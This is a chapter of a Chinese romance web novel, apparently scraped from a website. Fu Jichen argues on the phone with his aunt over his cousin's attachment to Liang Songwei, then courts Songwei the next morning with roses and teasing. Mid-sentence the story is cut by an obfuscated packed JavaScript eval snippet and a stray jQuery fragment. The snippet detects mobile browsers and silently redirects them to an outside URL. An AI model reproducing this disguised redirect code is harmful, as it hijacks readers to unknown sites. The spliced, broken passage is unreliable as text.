事后,梁颂薇懒懒地趴在床上准备睡觉,傅暨臣轻柔地帮她捏了捏她酸累的腰,见她睡了,这才去书房看了一下嘉合传媒要投资的新电影资料。
这部电影属于文艺片,讲述的是八十年代初一位女性知识分子的一生,女主角要有冷静的倔强感,人选还没定。
岑宛佳这两天求到他这里来,非要出演这部剧的女主角,可是岑宛佳的长相是浓颜型有攻击性的,身材丰满,没有一点能符合人物形象。
她就是仗着自己红了,粉丝多,什么要求都敢跟他提了。
他撂下资料,按了按鼻梁,正准备回去睡觉,放在桌面的手机却在此时震动了起来。
来电显示是他姑姑。
他皱了皱眉,接了电话。
傅韵则急躁的声音在电话那头响起,“暨臣,姑姑跟你打个商量。”
傅暨臣隐隐能猜到,“商量什么?”
“你把梁颂薇看好行不行?不要让她再有机会跟衍章接触。”
“您这话说的,难道不是衍章缠着薇薇不放?您把衍章看好,薇薇心软,衍章就喜欢利用她这一点。”
“算了算了,不论这个了,我是看透你们兄弟两个了,反正千错万错,绝对不会是梁颂薇的错。你告诉姑姑,你究竟打算什么时候跟梁颂薇公开?”
“您很急吗?想抱侄孙子了?”
“是,很急,我侄孙子什么时候能出生?我给他预备十六斤的金器,你们抓点紧,你们不抓紧,衍章什么时候能死心?”
傅暨臣沉默了一瞬,问道:“衍章回临苏了吗?”
傅韵则沉沉叹气,“你别提了,昨天晚上一回来就因为梁颂薇的事被你姑父砸伤了额头,在医院缝了五针。”
傅暨臣敛眉,“姑父可真下得去手,您要不背着姑父去给他父子俩做个亲子鉴定,看看衍章到底是不是姑父亲生的?”
“傅暨臣!”傅韵则有些歇斯底里了,“你个浑小子,能说句人话吗?”
傅暨臣闷笑一声,清了清嗓子,“姑姑,您好好照顾衍章,可别让他又借着受伤拐骗薇薇去看他。”
“暨臣,你帮姑姑转达,只要她梁颂薇能跟衍章彻彻底底断了,怎么样都行。衍章不用她关心,要不是她从中作梗,衍章不会和他爸爸闹成这个样子。还有,我认她做干女儿的事也还作数,等你俩结婚,我给她准备千万的嫁妆,我拿她当亲女儿看待行不行?”
傅暨臣对她的话不满,“您跟外婆上回做主要认薇薇做干女儿,薇薇是不情愿的。别拿千万的嫁妆唬人了,就算您说要给过亿的嫁妆也哄骗不了我,我缺这点钱?姑姑,我都听薇薇的,只要薇薇同意,一切都好说,但她要是不同意,任何人别想逼迫她。”
傅暨臣说完就挂了电话,他手肘搁在扶手上撑着额角,略按了按,而后从烟盒中磕出一支烟来点燃,漫不经心地过了过烟瘾。
抽完这支烟,他起身去自己主卧的卫生间用薄荷水漱了口,又喷了口腔清新剂,而后才徐步走到侧卧,轻手轻脚地躺到梁颂薇身边来。
躺在她的床上,松软,甜香,温馨,他伸手将趴着睡的梁颂薇勾进怀里,亲了亲她的眉心。
亲完没忍住,又在她阖着的单薄眼睑上亲了一下,而后薄唇便顺着她秀挺的鼻梁厮磨下去,来到她娇嫩的唇瓣上轻轻碾咬。
梁颂薇睡得正香,有被打扰到,咕哝了几句什么,傅暨臣没听清,笑道:“脾气大了,还骂骂咧咧的。”
次日七点梁颂薇被闹铃叫醒,按掉闹铃在床上翻滚了一圈,却不料撞着了一个人,她瞬间清醒,定睛一看,正是傅暨臣。
他半撩眼皮看她,“大早上的,淘什么气呢?”
梁颂薇爬起来抓了抓头发,一边掩着嘴打哈欠一边挪下床去穿拖鞋,“暨臣哥你今天不用上班的吗?”
他公司离得远,他向来都是五六点就起了,为了避免早高峰被堵在路上,他有时候也乘坐地铁。
梁颂薇劝过他,要不还是住古北名苑去,她也像从前一样,每周三过去一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15402662|168728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次就是了。
傅暨臣没有理会她这个提议。
梁颂薇想不通,这世界上还能有什么比早上多睡一会儿更重要的?至少对她来说是没有。如果傅暨臣同意,她其实更愿意住宿舍,住宿舍更方便,但是傅暨臣不松口。
傅暨臣慢条斯理地起身,尾随她走进卫生间,站在她身后,趁她挤牙膏的功夫圈住她的腰,“都不跟我说早安,也没有早安吻?”
他的声线沉着,磁性,浑厚,可说出来的话却有一些撒娇的意味。
梁颂薇刚将牙刷放进嘴里,闻言滞了一下,从镜子里看他,浓眉深目,锐气勃发,偏又温情款款。
梁颂薇不由得想起了昨天晚上,不禁满脸绯红。她含着一嘴泡沫,说话含糊不清,“别闹了。”
她匆匆刷好牙漱了口洗了脸,傅暨臣却还赖着没有要走的意思,挡住了她出去的路。
梁颂薇没办法,踮起脚尖敷衍地在他嘴角亲了一下,“早上好暨臣哥。”
傅暨臣微笑,刚伸手要揽她,她却已经趁机错开身子出去了。
傅暨臣的手臂停在半空中,拧眉不悦地咬了咬牙。
梁颂薇径自往餐厅去,走之前倒也没忘礼数,“暨臣哥,赶紧刷牙,吃早餐了。”
她说着却又返回书桌跟前取了她的头绳将秀发扎了起来,顺便换好了裙子,这才重新走出卧室。
一到餐桌跟前,她先是一口气喝了大半杯水牛奶,而后才惊讶地发现餐桌上有一大捧娇艳的粉色玫瑰。
张妈笑着跟她解释,“傅总昨天特意叮嘱我们摆放的,希望您每天早上都有一个好心情。”
“喜欢吗?”傅暨臣恰在此时一边拿毛巾擦着寸长的短发走出来,一边问她。
梁颂薇对傅暨臣的一系列操作简直是瞠目结舌。她离开餐椅走向傅暨臣,抬手用手背碰了碰傅暨臣的额头,“也没烧啊。暨臣哥,你是被夺舍了吗?”
傅暨臣一把抓下她的手,语气凶巴巴的,“能不能盼我点好?”